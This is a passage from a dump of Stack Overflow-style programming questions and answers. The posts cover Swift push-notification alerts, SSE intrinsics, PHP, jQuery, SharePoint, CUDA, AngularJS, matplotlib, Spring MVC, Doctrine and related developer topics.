Dictionary&lt;String,String&gt; { if let error = info["error"] { registeringLabel.text = "Error registering!" showAlert("Error registering with GCM", message: error) } else if let _ = info["registrationToken"] { registeringLabel.text = "Registered!" let message = "Check the xcode debug console for the registration token that you " + " can use with the demo server to send notifications to your device" showAlert("Registration Successful!", message: message) } } else { print("Software failure. Guru meditation.") } } func showReceivedMessage(notification: NSNotification) { if let info = notification.userInfo as? Dictionary&lt;String,AnyObject&gt; { if let aps = info["aps"] as? Dictionary&lt;String, String&gt; { showAlert("Message received", message: aps["alert"]!) } } else { print("Software failure. Guru meditation.") } } func showAlert(title:String, message:String) { //Set up for the title color let attributedString = NSAttributedString(string: title, attributes: [ NSFontAttributeName : UIFont.systemFontOfSize(15), //your font here, NSForegroundColorAttributeName : UIColor.whiteColor() ]) //Set up for the Message Color let attributedString2 = NSAttributedString(string: message, attributes: [ NSFontAttributeName : UIFont.systemFontOfSize(15), //your font here, NSForegroundColorAttributeName : UIColor.whiteColor() ]) let alert = UIAlertController(title: title,message: message, preferredStyle: .Alert) alert.setValue(attributedString, forKey: "attributedTitle") alert.setValue(attributedString2, forKey: "attributedMessage") //alert.view.tintColor = UIColor.whiteColor() let dismissAction = UIAlertAction(title: "Dismiss", style: .Destructive, handler: nil) alert.addAction(dismissAction) self.presentViewController(alert, animated: true, completion: nil) //set the color of the Alert //let subview = alert.view.subviews.first! as UIView //let alertContentView = subview.subviews.first! as UIView //alertContentView.backgroundColor = UIColor.blackColor() let subview :UIView = alert.view.subviews.last! as UIView let alertContentView = subview.subviews.last! as UIView alertContentView.backgroundColor = UIColor.blackColor() //alertContentView.backgroundColor = UIColor.greenColor() //Changes is to a grey color :( /* alertContentView.backgroundColor = UIColor( red: 0, green: 0, blue: 0, alpha: 1.0) //Also another Grey Color Not batman black */ //alertContentView.backgroundColor = UIColor.blueColor() //turns into a purple } override func preferredStatusBarStyle() -&gt; UIStatusBarStyle { return UIStatusBarStyle.LightContent } deinit { NSNotificationCenter.defaultCenter().removeObserver(self) } </code></pre>
2853147	0	 <p>If you use the Intel C compiler, and set sufficiently high optimisation options, you will find that some of your loops get 'vectorised', which means the compiler has rewritten them to use SSE-style instructions.</p> <p>If you want to use SSE operations directly, you use the intrinsics defined in the 'xmmintrin.h' header file; say</p> <p>#include &lt;xmmintrin.h&gt;</p> <p>__m128 U, V, W; float ww[4];</p> <p>V=_mm_set1_ps(1.5);</p> <p>U=_mm_set_ps(0,1,2,3);</p> <p>W=_mm_add_ps(U,V);</p> <p>_mm_storeu_ps(ww,W);</p>
14158129	0	 <pre><code>foreach (array_keys($_SESSION['Bookings']['date']) as $key) { $myDate = $_SESSION['Bookings']['date'][$key]; $myPrice = $_SESSION['Bookings']['price'][$key]; } </code></pre> <p>Should work?</p> <p>Some info on: <a href="http://php.net/array_keys" rel="nofollow">array_keys</a></p>
31186489	0	 <p>You need to do this on a trial and error basis. And you need to change a static parent. Check this example and follow it.</p> <p><strong>Snippet</strong></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(function () { $(window).scroll(function () { if ($(window).scrollTop() &gt; 125) $("body").addClass("fixed"); else $("body").removeClass("fixed"); }); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>* {font-family: 'Segoe UI'; margin: 0; padding: 0; list-style: none;} h1, h2 {font-weight: normal;} h1 {font-size: 1.5em;} h2 {font-size: 1.25em;} h1, h2, p {margin: 0 0 15px;} .fixed {padding-top: 42px;} .fixed .static {position: fixed; top: 0; width: 100%; background: #fff; padding-bottom: 15px;}</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"&gt;&lt;/script&gt; &lt;h1&gt;Static Header Example&lt;/h1&gt; &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit. At, cumque inventore laudantium quod, vel pariatur dolore obcaecati veniam aspernatur aliquam ad dolorum possimus illo facilis et totam nam unde, sint?&lt;/p&gt; &lt;h2 class="static"&gt;This is gonna be Static!&lt;/h2&gt; &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit. Officiis tempore praesentium eos odio nobis dignissimos labore expedita corrupti sapiente perferendis consequuntur, in, eveniet error! Officiis iste architecto eos? Deserunt, delectus!&lt;/p&gt; &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit. Velit, blanditiis dolore ipsum odit sint delectus assumenda excepturi dolor rem aperiam magni eligendi quidem suscipit nam ullam porro tenetur tempora ut!&lt;/p&gt; &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit. Officiis tempore praesentium eos odio nobis dignissimos labore expedita corrupti sapiente perferendis consequuntur, in, eveniet error! Officiis iste architecto eos? Deserunt, delectus!&lt;/p&gt; &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit. Velit, blanditiis dolore ipsum odit sint delectus assumenda excepturi dolor rem aperiam magni eligendi quidem suscipit nam ullam porro tenetur tempora ut!&lt;/p&gt;</code></pre> </div> </div> </p>
13725370	0	 <p>If you need to analyse C# code at runtime, take a look at <a href="http://en.wikipedia.org/wiki/Microsoft_Roslyn" rel="nofollow">Roslyn</a>.</p>
36131248	0	tfs unable to browse projects <p>I'm using Visual Studio Team Services (was TFS Online) server {MyProject}.visualstudio.com. I'm able to connect to the server, map the project, even receive a review request, but I can't see my team projects under DefaultCollection. Currently when I'm opening the Source Control Explorer I'm only seeing {MyProject}.visualstudio.com\DefaultCollection underlying projects are missing, but my user is in project team members list.</p> <p><strong>What I missed, what I should do else to be able to browse my projects, get and work with them?</strong></p> <p>Note: My account was not a microsoft account. I received an email to join the visual studio after tfs administrator added my email as the project team member. I follow to the link and I create a new account during VS sign up using that email and then successfully signed in.</p> <p><a href="https://i.stack.imgur.com/i1Fpm.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/i1Fpm.png" alt="enter image description here"></a></p> <p>Thanks a lot</p>
12768279	0	Is there a replacement for the Handler class? <p>I love the convenience of the Handler class; I can easily queue messages and even delay messages. However, all the code runs on the UI thread which is causing stuttering of the animation.</p> <p>Is there a class, like Handler, that doesn't run on the UI thread ?</p>
3041155	0	ListViewWebPart problem with custom Event list template <p>I have copied C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\14\TEMPLATE\FEATURES\EventsList\Events\schema.xml into a custom list template feature. I have another feature that creates the list instance:</p> <pre><code>&lt;ListInstance FeatureId="58c1f9c9-eadb-41dd-a358-e04b2f2e30c0" TemplateType="100322" Title="$Resources:core,calendarList" Url="$Resources:core,lists_Folder;/$Resources:core,calendar_Folder" OnQuickLaunch="TRUE"&gt; &lt;/ListInstance&gt; </code></pre> <p>and then places a ListViewWebPart on the page:</p> <pre><code>&lt;View List="$Resources:core,lists_Folder;/$Resources:core,calendar_Folder" BaseViewID="0" WebPartZoneID="TopRightRow" WebPartOrder="3" /&gt; </code></pre> <p>I activate the features and go to the site. The webpart says: There are currently no upcoming events. To add a new event, click "Add new event". I click Add new event, enter the information, and click Save. The page refreshes, the no upcoming events message disappears, but there are no items displayed! If I go to the calendar the list item is there. What gives?</p> <p>I change the list instance definition so that it uses the out of the box template:</p> <pre><code>&lt;ListInstance FeatureId="00bfea71-ec85-4903-972d-ebe475780106" TemplateType="106 Title="$Resources:core,calendarList" Url="$Resources:core,lists_Folder;/$Resources:core,calendar_Folder" OnQuickLaunch="TRUE"&gt; &lt;/ListInstance&gt; </code></pre> <p>When I rebuild the site, activate the features, and repeat the "add new" steps, the item is now displaying properly in the webpart after the page refresh.</p> <p>I've backed out all of my changes from the custom list template. It is now identical to the OOTB schema. Why doesn't my custom list template work, but the OOTB list template does?</p>
4896063	0	 <p>class != struct in C#.</p> <p>Also, the packing of your structure is not the same between the C# version and the C++ version.</p>
13865580	0	 <p>Your access pattern for <code>M</code> is perfectly coalesced, so the global memory with the help of the cache hierarchy of compute capability devices > 2.x will give the best performance for that array. </p> <p>You have the same access pattern in K and J, so, the accesses are also coalesced. So, there is no reason for not use the global memory and get the best performance</p> <p>As you commented that <em>memory limits are obviously not a problem</em> I understand that the size of the arrays will be small, so you would expect a good behaviour of the cache hierarchy.</p> <p>If you want to go one step forward, you could copy the <code>K</code> array to 1D texture memory and compare the performance of both approach. </p>
4686148	0	 <p>If you take a look at the <a href="http://docs.amazonwebservices.com/ElasticMapReduce/latest/DeveloperGuide/CLI_CreateStreaming.html" rel="nofollow">Amazon Elastic MapReduce Developer Guide</a> you need to specify the location of input data, output data, mapper script and reducer script in S3 in order to create a MapReduce job flow.</p> <p>If you need to do some pre-processing (such as dumping the MapReduce input file from a database) or post-processing (such as splitting the MapReduce output file to other locations in S3), you will have to automate those tasks separately from the MapReduce job flow.</p> <p>You may use the <a href="http://boto.cloudhackers.com/" rel="nofollow"><code>boto</code> library</a> to write those pre-processing and post-processing scripts. They can be run on an EC2 instance or any other computer with access to the S3 bucket. Data transfer from EC2 may be cheaper and faster, but if you don't have an EC2 instance available for this, you could run the scripts in your own computer... unless there is too much data to transfer!</p> <p>You can go as far as you want with automation: You may even orchestrate the whole process of generating input, launching a new MapReduce job flow, waiting for the job to finish and processing output accordingly, so that given the proper configuration, the whole thing is reduced to pushing a button :)</p>
5664230	0	Detect when cut-ed data is being pasted in MFC COleDataSource VS2008 <p>I need to detect when another application /window in my app does paste on my previously set data , so I can remove it from my source window. I have discovered that <code>COleDataSource::DelaySetData</code> <em>theoretically</em> does this and <code>COleDataSource::OnSetData</code> would get called when paste occurs, but I can not be sure. MSDN is (as usually) vague about this matter and does not clearly say one way or the other.I will be using an custom format and watever format is explorer using for cut/paste files. So the question is how EXACTLY (not theoretically) can this be done. I really need to remove the items from my window <strong>if and only if</strong> they are pasted somewhere else. </p>
4471961	0	I am setting up a SharePoint Development environment. Can I setup Sharepoint on a VM and Visual Studio on my production computer? <p>I am going to be learning how to do SharePoint 2010 development and as such I am setting up my environment? I have a couple of questions about that.</p> <p>First, I am following a couple of helpful articles on how to do it as follows... </p> <p><a href="http://geekswithblogs.net/manesh/archive/2010/05/28/building-the-ultimate-sharepoint-2010-development-environment.aspx" rel="nofollow">http://geekswithblogs.net/manesh/archive/2010/05/28/building-the-ultimate-sharepoint-2010-development-environment.aspx</a> </p> <p>and </p> <p><a href="http://msdn.microsoft.com/en-us/library/ee554869%28office.14%29.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ee554869%28office.14%29.aspx</a> </p> <p>Both of these article recommend setting up Sharepoint on a server environment or VM and THEN setup Visual Studio on that same environment. </p> <p>I was wondering if it will work to setup Sharepoint on a VM Guest and use my existing installation of Visual Studio (my VM host) to do the work. To do Sharepoint development do you HAVE to install Visual Studio on the VM Guest with Sharepoint? What do I lose if I just use my production install of Visual Studio (or will it just plain not work?). </p> <p>It just seems counter-productive to have two development environments (and I refuse to install Sharepoint on my production machine...at least right now.)</p> <p>Also, will SharePoint Foundation edition (rather than full server version) function just fine for learning and development or will I find that I am eventually going to hit barriers and limitations with it. </p> <p>Thanks in advance for your help.</p> <p>Seth</p>
15772958	0	How can I copy dependencies from the local repository to some specific location? <p>I want copy all the dependencies from the local repository to some specific location without have to specify which dependencies should be copied, I just want that copy all the dependencies that I declared in the pom in specific folder. </p> <p><a href="http://pastebin.com/3neyQJyp" rel="nofollow">http://pastebin.com/3neyQJyp</a></p>
17398946	0	 <p>Here is the example what you could choose to do: <a href="http://plnkr.co/edit/XRGPYCk6auOxmylMe0Uu?p=preview">http://plnkr.co/edit/XRGPYCk6auOxmylMe0Uu?p=preview</a></p> <pre><code>&lt;body key-trap&gt; &lt;div ng-controller="testCtrl"&gt; &lt;li ng-repeat="record in records"&gt; &lt;div class="record" ng-class="{'record-highlight': record.navIndex == focu sIndex}"&gt; {{ record.name }} &lt;/div&gt; &lt;/li&gt; &lt;/div&gt; &lt;/body&gt; </code></pre> <p>This is the simplest approach I could think of. It binds a directive <code>keyTrap</code> to the <code>body</code> which catches the <code>keydown</code> event and <code>$broadcast</code> message to child scopes. The element holder scope will catch the message and simply increment or decrement the focusIndex or fire an <code>open</code> function if hitting <code>enter</code>.</p> <h1>EDIT</h1> <p><a href="http://plnkr.co/edit/rwUDTtkQkaQ0dkIFflcy?p=preview">http://plnkr.co/edit/rwUDTtkQkaQ0dkIFflcy?p=preview</a></p> <p>now supports, ordered / filtered list.</p> <p>Event handling part has not changed, but now uses <code>$index</code> and also filtered list caching technique combined to track which item is getting focused.</p>
35789879	0	 <p>Just specify in the manifest for the activity as </p> <pre><code> android:persistent="true" </code></pre> <p>That should prevent your activity getting destroyed. To know more about this please refer to these below links which were answered by me </p> <p><a href="http://stackoverflow.com/questions/8557255/how-to-prevent-call-of-ondestroy-after-onpause/35789825#35789825">How to prevent call of onDestroy() after onPause()?</a></p> <p><a href="http://stackoverflow.com/questions/22168287/prevent-activity-from-being-destroyed-as-long-as-possible">Prevent activity from being destroyed as long as possible</a></p> <p>In the above posts I have explained in detail with a use case </p>
9632437	0	 <p>You can also achieve this in the markup.</p> <pre><code>&lt;asp:ListItem Text="Good" Value="True" style="background-color:green;color:white" /&gt; &lt;br /&gt; &lt;asp:ListItem Text="Bad" Value="False" style="background-color:red;color:white" /&gt; </code></pre> <p>The word Style will be underlined with the warning that <em>Attribute 'style' is not a valid attribute of element 'ListItem'.</em>, but the items are formatted as desired anyway.</p>
20787069	0	 <p>Use following line,</p> <pre><code>import android.provider.Settings.Secure; String android_id = Secure.getString(this.getContentResolver(), Secure.ANDROID_ID); </code></pre>
27002360	0	 <p>Try using levels.</p> <pre><code>def plot_countour(x,y,z): # define grid. xi = np.linspace(-2.1, 2.1, 100) yi = np.linspace(-2.1, 2.1, 100) ## grid the data. zi = griddata((x, y), z, (xi[None,:], yi[:,None]), method='cubic') levels = [0.2, 0.4, 0.6, 0.8, 1.0] # contour the gridded data, plotting dots at the randomly spaced data points. CS = plt.contour(xi,yi,zi,len(levels),linewidths=0.5,colors='k', levels=levels) #CS = plt.contourf(xi,yi,zi,15,cmap=plt.cm.jet) CS = plt.contourf(xi,yi,zi,len(levels),cmap=cm.Greys_r, levels=levels) plt.colorbar() # draw colorbar # plot data points. # plt.scatter(x, y, marker='o', c='b', s=5) plt.xlim(-2, 2) plt.ylim(-2, 2) plt.title('griddata test (%d points)' % npts) plt.show() # make up some randomly distributed data seed(1234) npts = 1000 x = uniform(-2, 2, npts) y = uniform(-2, 2, npts) z = gauss(x, y, Sigma=np.asarray([[1.,.5],[0.5,1.]]), mu=np.asarray([0.,0.])) plot_countour(x, y, z) </code></pre> <p><img src="https://i.stack.imgur.com/fSj8M.png" alt="enter image description here"></p>
9780306	0	 <p>You shouldn't need to destroy and create the annotation every time. Once it has been created, just update the <code>anchorPoint</code>. Removing and adding the annotation is probably related to the constant redraw.</p>
39807752	0	 <p>The simplest way is to use <a href="https://docs.python.org/2/library/sys.html#sys.path" rel="nofollow">sys.path</a> to make sure that you will have right order of paths added. <code>sys.path</code> gives out the list of paths that are available in the <code>PYHTONPATH</code> environment variable with the right order. If you want any path to have higher priority over others, just add it to the beginning of the list.</p> <p>And you will also find this in the official docs:</p> <blockquote> <p>A program is free to modify this list for its own purposes.</p> </blockquote> <p>WARNING: Even though this gives better control over the priority, just make sure that whatever library you add does not mess with the system libraries. Else, your library will be searched first, as it is in the beginning of the list, and they may replace the system libraries. Just as an example, if you have written a library by the name <code>os</code>, after adding this to the <code>sys.path</code>, that library will be imported instead of Python's in-built. So take all the caution and also with a large amount of salt before jumping to this.</p>
39761875	0	 <p>Try this</p> <pre><code>http://localhost:8983/solr/core/select?q=*&amp;facet=true&amp;facet.field=strings_ss </code></pre>
25457023	0	 <p>Here's a really simple example</p> <pre><code>let rememberTheEvens = let theList = List&lt;int&gt;() fun n -&gt; if n%2 = 0 then theList.Add(n) theList </code></pre> <p>And here's a proper write up that I did a while back that uses a closure for Memoization <a href="http://www.devjoy.com/2013/05/learning-to-think-functionally-memoization/" rel="nofollow">http://www.devjoy.com/2013/05/learning-to-think-functionally-memoization/</a></p> <p>Hope that helps.</p>
15913580	0	 <p>Here's my solution to make it a little more generic:</p> <pre><code>private static final String[] magnitudes = new String[] {"", "K", "M"}; public static String shortenNumber(final Integer num) { if (num == null || num == 0) return "0"; float res = num; int i = 0; for (; i &lt; magnitudes.length; i++) { final float sm = res / 1000; if (sm &lt; 1) break; res = sm; } // don't use fractions if we don't have to return ( (res % (int) res &lt; 0.1) ? String.format("%d", (int)res) : String.format("%.1f", res) ) + magnitudes[i]; } </code></pre>
5174900	0	 <p>This turned out to be a limitation of ClickOnce deployments. Using a normal setup project, after installation the Jump Lists work as expected.</p>
2491538	0	Download estimator using JavaScript and Ajax <p>I would like to implement the download estimator using the JavaScript and the Ajax. </p> <p>I have gone trough Google, existing posts on stackoverflow also to find the existing implementations for the download estimator and i found most of the time asking user bandwidth and then calculating the number is strategy. It good approach and there is hardly anything on reliable to get the estimated time right. </p> <p>What i would like to try is use Ajax to request file size 100KB - 200 KB and do the maths get the number and update the display. Now this is surrounded with so many questions like network, number of packets formed, proxies etc ? These all factors are sufficient to turn down the approach. But THIS IS HOW I HAVE TO DO THIS.</p> <p>Now i would like here inputs from you all to make it better (as good discussion)? what all can be added to this ? Can we get to know bandwidth user using without asking ? How can it can be made better ?</p>
25563796	0	Many to one relation : ArrayCollection issue <p><img src="https://i.stack.imgur.com/PTvzx.png" alt="Domain form"></p> <p>I have a many to one relation between Domain and Site. But when I try to add a new domain I have this error :</p> <blockquote> <p>Found entity of type Doctrine\Common\Collections\ArrayCollection on association Eliophot\BackBundle\Entity\Domain#site, but expecting Eliophot\BackBundle\Entity\Site</p> </blockquote> <p>This is my DomainController : </p> <pre><code>public function createDomainAction(Request $request) { $domain = new Domain; if (!$domain) { throw $this-&gt;createNotFoundException('Unable to find Domain entity.'); } $newForm = $this-&gt;createForm(new DomainType(), $domain); $newForm-&gt;handleRequest($request); if ($newForm-&gt;isValid()) { $entityManager = $this-&gt;get('doctrine')-&gt;getManager(); $entityManager-&gt;persist($domain); $entityManager-&gt;flush(); $this-&gt;get('session')-&gt;getFlashBag()-&gt;add('success', 'Le domaine a été crée'); return $this-&gt;redirect($this-&gt;generateUrl('domain_list')); } return $this-&gt;render('EliophotBackBundle:Domain:new_domain.html.twig', array( 'domain' =&gt; $domain, 'form' =&gt; $newForm-&gt;createView(), )); } </code></pre> <p>This is my DomainType:</p> <pre><code>class DomainType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options) { $builder -&gt;add('domainName','text', array( 'label' =&gt; 'Nom du domaine' )) -&gt;add('site','entity', array( 'class' =&gt; 'EliophotBackBundle:Site', 'property' =&gt; 'name', 'label' =&gt; 'Sélectionnez un ou plusieurs site(s)', 'multiple' =&gt; true )); } public function getName() { return 'domain'; } ... } </code></pre> <p>and my SiteType:</p> <pre><code>class SiteType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options) { $builder -&gt;add('name', 'text', array( 'label' =&gt; 'Nom du site', 'required' =&gt; true )) -&gt;add('nameBundle', 'text', array( 'label' =&gt; 'Nom du bundle du site', 'required' =&gt; true )) -&gt;add('numClient', 'integer', array( 'label' =&gt; 'Numéro client du site', 'required' =&gt; true )); } public function getName() { return 'site'; } ... } </code></pre> <p>Site entity : </p> <pre><code>/** * Site * * @ORM\Table() * @ORM\Entity(repositoryClass="Eliophot\BackBundle\Entity\SiteRepository") */ class Site { /** * @var integer * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") */ private $id; /** * @var string * * @ORM\Column(name="name", type="string", length=255) */ private $name; /** * @var string * * @ORM\Column(name="name_bundle", type="string", length=255) */ private $nameBundle; /** * @var integer * * @ORM\Column(name="num_client", type="integer") */ private $numClient; /** * @ORM\OneToMany(targetEntity="Domain", mappedBy="site") */ protected $domains; /** * Initialisation */ public function __construct() { $this-&gt;domains = new ArrayCollection(); } /** * Get id * * @return integer */ public function getId() { return $this-&gt;id; } /** * Set name * * @param string $name * @return Site */ public function setName($name) { $this-&gt;name = $name; return $this; } /** * Get name * * @return string */ public function getName() { return $this-&gt;name; } /** * Set nameBundle * * @param $nameBundle * @return $this */ public function setNameBundle($nameBundle) { $this-&gt;nameBundle = $nameBundle; return $this; } /** * Get nameBundle * * @return string */ public function getNameBundle() { return $this-&gt;nameBundle; } /** * Set numClient * * @param integer $numClient * @return Site */ public function setNumClient($numClient) { $this-&gt;numClient = $numClient; return $this; } /** * Get numClient * * @return integer */ public function getNumClient() { return $this-&gt;numClient; } /** * Get domains * * @return ArrayCollection */ public function getDomains() { return $this-&gt;domains; } /** * Set domains * * @param ArrayCollection $domains */ public function setDomains(ArrayCollection $domains) { $this-&gt;domains = $domains; } } </code></pre> <p>Domain entity : </p> <pre><code>/** * Domain * * @ORM\Table() * @ORM\Entity */ class Domain { /** * @var integer * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") */ private $id; /** * @var string * * @ORM\Column(name="domain_name", type="string", length=255) */ private $domainName; /** * @ORM\ManyToOne(targetEntity="Site", inversedBy="domains") * @ORM\JoinColumn(name="site_id", referencedColumnName="id") */ protected $site; /** * Get id * * @return integer */ public function getId() { return $this-&gt;id; } /** * Set domainName * * @param string $domainName * @return Domain */ public function setDomainName($domainName) { $this-&gt;domainName = $domainName; return $this; } /** * Get domainName * * @return string */ public function getDomainName() { return $this-&gt;domainName; } public function getSite() { return $this-&gt;site; } public function setSite($site) { $this-&gt;site = $site; return $this; } } </code></pre> <p>Like the error says, I think Symfony expects a Site Object and not an arrayCollection... when I <code>var_dump</code> the request after the adding, I get this for the site field (in this example I have selected "site de test 1" and "site de test 2") : </p> <pre><code>array(2) { [0]=&gt; string(1) "1" [1]=&gt; string(1) "2" } </code></pre> <p>=> this should be added to the domain table 2 new lines for the domain in question</p> <p>So how can I do this ?</p>
5733181	0	 <p>Try setting the <a href="http://developer.android.com/reference/java/io/FileOutputStream.html#FileOutputStream%28java.io.File,%20boolean%29" rel="nofollow">append</a> flag to true when constructing your FileOutputStream</p> <pre><code>osr = new FileOutputStream(outputFile, true); </code></pre>
35745130	0	 <p>The order of your current media queries is causing the problem.</p> <p>When forking around the <code>min-width</code> values, you should always put them in to ascending order when it comes to the pixel values. Swap places with <code>min-width: 993px</code> and <code>min-width: 1200px</code> and it should run smooth.</p> <p>Other option is to also set the <code>max-width</code> value to the media query (see Roman's answer), so it knows not to interfere with the next query. CSS is always being read from the <strong>top to bottom</strong>, so the last rule overrides the previous if you're not specific enough.</p>
21071686	0	Spring 404 error <p>I am trying to run spring application, but i am getting the 404 error. Can anyone please help? I take this code from mkyong site. The example he given is working but i tried to do everything from scratch it is not working.</p> <pre><code>package com.mkyong.common.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; @Controller @RequestMapping("/welcome") public class HelloController { @RequestMapping(method = RequestMethod.GET) public String printWelcome(ModelMap model) { model.addAttribute("message", "Spring 3 MVC Hello World"); return "hello"; } } hello.jsp &lt;html&gt; &lt;body&gt; &lt;h1&gt;Message : ${message}&lt;/h1&gt; &lt;/body&gt; &lt;/html&gt; mvc-dispatcher-servlet.xml &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd"&gt; &lt;context:component-scan base-package="com.mkyong.common.controller" /&gt; &lt;bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"&gt; &lt;property name="prefix"&gt; &lt;value&gt;/WEB-INF/pages/&lt;/value&gt; &lt;/property&gt; &lt;property name="suffix"&gt; &lt;value&gt;.jsp&lt;/value&gt; &lt;/property&gt; &lt;/bean&gt; &lt;/beans&gt; web.xml &lt;web-app id="WebApp_ID" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"&gt; &lt;display-name&gt;Spring Web MVC Application&lt;/display-name&gt; &lt;servlet&gt; &lt;servlet-name&gt;mvc-dispatcher&lt;/servlet-name&gt; &lt;servlet-class&gt;org.springframework.web.servlet.DispatcherServlet&lt;/servlet-class&gt; &lt;load-on-startup&gt;1&lt;/load-on-startup&gt; &lt;/servlet&gt; &lt;servlet-mapping&gt; &lt;servlet-name&gt;mvc-dispatcher&lt;/servlet-name&gt; &lt;url-pattern&gt;/&lt;/url-pattern&gt; &lt;/servlet-mapping&gt; &lt;context-param&gt; &lt;param-name&gt;contextConfigLocation&lt;/param-name&gt; &lt;param-value&gt;/WEB-INF/mvc-dispatcher-servlet.xml&lt;/param-value&gt; &lt;/context-param&gt; &lt;listener&gt; &lt;listener-class&gt;org.springframework.web.context.ContextLoaderListener&lt;/listener-class&gt; &lt;/listener&gt; &lt;welcome-file-list&gt; &lt;welcome-file&gt;index.jsp&lt;/welcome-file&gt; &lt;/welcome-file-list&gt; &lt;/web-app&gt; </code></pre>
10229039	0	 <p>You have to implement the static function GetInstance().</p> <p>I would get rid of _instance and do it like this:</p> <pre><code>GamePropertiesManager* GamePropertiesManager::GetInstance() { static GamePropertiesManager manager; return &amp;manager; } </code></pre>
21665315	0	 <p>I believe there is no way to make it compile. You will have to use reflection to make the call.</p> <p>Actually. You could cheat if you contain it within a class:</p> <pre><code> public class Container&lt;T&gt; { public Container(T value) { Value = value; } public T Value { get; private set; } } public void Bar&lt;T&gt;(T item) { this.Foo&lt;Container&lt;T&gt;&gt;(new Container&lt;T&gt;(item)); } </code></pre> <p>but this adds one layer you need to call-through and makes the types less clear.</p>
13996618	0	 <ol> <li>Your FOR loop: since JS uses zero-based arrays, you can't have <strong>&lt;=</strong>, otherwise it will look for an index one higher than what you have. Use <strong>&lt;</strong> instead;</li> <li>I moved your validation for whether any fields were checked outside the loop to make management easier. It's cleaner this way than worrying about breakout out of loops in the middle of them.</li> </ol> <p>Here:</p> <pre><code>function isNull() { var isChecked = false; var radiobutton = document.getElementsByName('radiobtn'); for (var i=0; i &lt; radiobutton.length; i++) { if (radiobutton[i].checked) { isChecked = true; } } if ( !isChecked ) { alert("Make a selection."); return false; } } </code></pre> <p>I don't know how your form tag looks, but here is what you need to prevent the form from submitting if no radio fields are checked:</p> <pre><code>&lt;form action="" method="post" onSubmit="return isNull();"&gt; </code></pre>
7247541	0	How to findAll in mongoosejs? <p>My code is like that:</p> <pre><code>SiteModel.find( {}, function(docs) { next(null, { data:docs}); } ); </code></pre> <p>but it never returns anything... but if I specify something in the {} then there is one record. so, how to findall?</p>
15571304	0	 <p>Well I think the problem is how you bind the <code>.click</code> event. Before jQuery 1.7 they had separate methods for <code>.bind</code>, <code>.delegate</code> and <code>.live</code>. But with arrival of jQuery 1.7 these methods were merged an to simplify things by including them all under 1 method <code>.on</code>. But due to not so clear documentation people don't understand the <code>.on</code> method. <code>.on</code> does provide the function of 3 above mentioned deprecated methods, but it depends how you use <code>.on</code> method. Here is an example:</p> <pre><code>// Bind $( "button" ).on( "click", function( e ) {} ); // Live $( document ).on( "click", "button", function( e ) {} ); // Delegate $( "body" ).on( "click", "button", function( e ) {} ); </code></pre> <p>My guess is that markup for the <code>button</code> that is not working is being declared after your <code>.click</code> is bind. In that case you will have to implement the <code>.on</code> as done for live events. So all you would need to change is the way you bind call.</p> <pre><code>$( document ).on( "click", "button", function () { //Do Something }); </code></pre> <p>Hope this helps.</p>
12006124	0	 <p>You should look in the default_master.properties file (in my case it's in the same directory as js-export) and change the database properties according to your setup.</p> <p>Then js-export and js-import should work.</p>
21975826	0	Split a string with <span> using preg_split() <p>I have a sting that is in this format.</p> <pre><code>&lt;span class="amount"&gt;$25&lt;/span&gt;–&lt;span class="amount"&gt;$100&lt;/span&gt; </code></pre> <p>What I need to do is split that into two strings. The string will remain in the same format but the prices will change. I tried using str_split() but because the price changes I wouldn't be able to always know how many characters to split the string at. </p> <p>What I am trying to get is something like this.</p> <p>String 1 </p> <pre><code>&lt;span class="amount"&gt;$25&lt;/span&gt;– </code></pre> <p>String 2</p> <pre><code>&lt;span class="amount"&gt;$100&lt;/span&gt; </code></pre> <p>It seems the best option I have found is to use preg_split() but I don't know anything about regex so I'm not sure how to format the expression. There may also be a better way to handle this and I just don't know of it.</p> <p>Could someone please help me format the regex, or let me know of a better way to split that string.</p> <h3>Edit</h3> <p>Thanks to @rm-vanda for helping me figure out that I don't need to use preg_split for this. I was able to split the string using explode(). The issue I was having was because the '-' was encoded weird and therefore not returning correctly.</p>
37048308	0	 <p><a href="http://php.net/manual/en/function.empty.php" rel="nofollow"><em>"Determine whether a variable is considered to be empty. A variable is considered empty <strong>if it does not exist or if its value equals FALSE</strong>. empty() does not generate a warning if the variable does not exist."</em></a> </p> <blockquote> <p>Returns FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.</p> <p>The following things are considered to be empty:</p> <p>"" (an empty string)</p> <p>0 (0 as an integer)</p> <p>0.0 (0 as a float)</p> <p>"0" (0 as a string)</p> <p>NULL</p> <p>FALSE</p> <p>array() (an empty array)</p> <p>$var; (a variable declared, but without a value)</p> </blockquote>
